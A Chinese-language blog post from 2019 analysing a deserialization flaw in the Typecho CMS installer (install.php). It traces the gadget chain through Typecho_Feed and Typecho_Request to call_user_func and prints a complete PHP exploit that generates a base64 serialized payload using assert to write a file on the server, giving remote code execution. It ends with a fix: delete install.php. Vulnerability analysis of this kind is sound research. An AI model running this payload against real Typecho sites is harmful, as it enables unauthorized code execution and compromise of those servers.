Typecho 反序列化漏洞分析

0x01 前言

Typecho install.php中存在反序列化漏洞,导致远程代码执行。

0x02 漏洞分析

漏洞产生位置

漏洞产生在安装文件中,而前面代码只是做了简单的安装判断和跨站请求过滤,只需要对finish,REFEREER进行构造即可绕过。

接着向下分析,这里反序列化的参数是可以直接通过cookie或者post由用户控制的,所以我们只需要找到可利用的方法即可。

我们知道反序列化是将一个休眠对象(字符串)激活为一个对象,激活过程中会调用几种方法,我们只需要找到能够利用的方法即可。
这里主要方法有

1
2
3
__wakeup()
__construct()
__toString()

对前两种方法进行全局搜索后均没有找到可以利用的地方。__toString()方法在类被做字符串处理时会被调用,如字符串拼接、输出操作等。而下面在创建新的Typecho_Db对象时,其构造函数中刚好对反序列化的内容进行了字符串拼接操作,给toString方法的利用带来了可能。

但是在搜索
toString方法时,因为水平不足并没有发现可以利用的点,这里向各位大神表示敬佩。
在Typecho_Feed的toString方法中第358行$item[‘author’]调用screenName属性,如果该实例化对象用于从不可访问的属性读取数据,便会触发get()魔术方法。那么便可以进一步搜索__get()方法。

然后找到Typecho_Request类中的__get方法

继续跟踪get

最终在_applyFilter方法中找到可以利用的点,call_user_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//exp

<?php

class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_charset = 'UTF-8';
private $_lang = 'zh';
private $_items = array();
public function addItem(array $item)
{
$this->_items[] = $item;
}
}
class Typecho_Request{
private $_params = array('screenName'=>'file_put_contents(\'info.php\', \'<?php phpinfo();?>\')');
private $_filter = array('assert');
}

$feed = new Typecho_Feed();
$req = new Typecho_Request();
$feed->addItem(array('author'=>$req));
$exp=array('adapter'=>$feed,'prefix'=>'typecho_');


echo base64_encode(serialize($exp));

?>


0x03 修复方法

删除install.php

本文标题:Typecho 反序列化漏洞分析

文章作者:boogle

发布时间:2019年01月30日 - 14:19

最后更新:2019年03月07日 - 11:38

原始链接:https://zhengbao.wang/Typecho-反序列化漏洞分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗